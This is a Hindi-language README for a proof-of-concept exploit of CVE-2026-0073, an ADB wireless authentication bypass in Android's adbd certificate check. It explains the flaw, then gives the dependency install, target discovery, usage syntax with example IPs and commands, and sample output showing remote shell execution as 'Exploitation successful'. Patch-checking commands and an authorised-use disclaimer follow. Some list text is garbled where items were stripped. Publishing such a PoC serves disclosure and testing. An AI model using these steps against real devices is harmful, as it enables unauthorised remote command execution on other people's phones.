
CVE-2026-0073 - ADB वायरलेस पारस्परिक प्रमाणीकरण बाईपास PoC
इस निर्देशिका में CVE-2026-0073 के लिए एक Python प्रूफ ऑफ कॉन्सेप्ट है।
स्क्रिप्ट AI-सहायता प्राप्त कोड जनरेशन तकनीकों का उपयोग करके तैयार की गई है।
CVE-2026-0073 ADB डेमन प्रमाणपत्र सत्यापन (adbd_tls_verify_cert in auth.cpp) में एक तर्क दोष है।
कमजोर जाँच EVP_PKEY_cmp(...) से प्राप्त किसी भी गैर-शून्य मान को सफल मिलान के रूप में मानती है।
अपेक्षित तुलना परिणाम संचालन इस प्रकार होना चाहिए:
1 = कुंजियाँ मेल खाती हैं0 = कुंजियाँ मेल नहीं खातीअसुरक्षित बिल्ड में, नकारात्मक मानों को सत्य (truthy) मान लिया जाता है और गलती से प्रमाणपत्र को अधिकृत घोषित किया जा सकता है।
poc-cve-2026-0073.py क्या करता हैस्क्रिप्ट:
ec या ed25519) बनाती है।shell: जिसका फ़ॉलबैक exec:)।cryptography पैकेजनिर्भरता स्थापित करें:
pip install cryptography
लक्ष्य ADB सेवा खोजें (यदि आवश्यक हो):
adb mdns services
PoC चलाएँ:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
आर्गुमेंट:
target_ip: लक्ष्य Android डिवाइस का IP पताport: ADB पोर्ट (डिफ़ॉल्ट: 5555)command: निष्पादित करने का आदेश (डिफ़ॉल्ट: id)key_type: ec या ed25519 (डिफ़ॉल्ट: ec)--verbose: प्रोटोकॉल डीबग लॉग सक्षम करेंउदाहरण:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
प्रतिक्रिया की प्रतीक्षा में टाइमआउट
--verbose के साथ पुनः प्रयास करें।बेस OS सुरक्षा पैच स्तर और मेनलाइन मॉड्यूल पैचिंग भिन्न हो सकते हैं। एक डिवाइस पुराना मासिक SPL दिखा सकता है जबकि उसे नए ADB मॉड्यूल फिक्स मिले हों।
उपयोगी जाँच:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
इस PoC का उपयोग केवल अधिकृत वातावरण में करें (स्वामित्व वाले लैब डिवाइस, स्पष्ट अनुमति, या स्वीकृत परीक्षण)। इसे उन प्रणालियों पर न चलाएँ जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित प्राधिकरण नहीं है।
daemon/auth.cpp)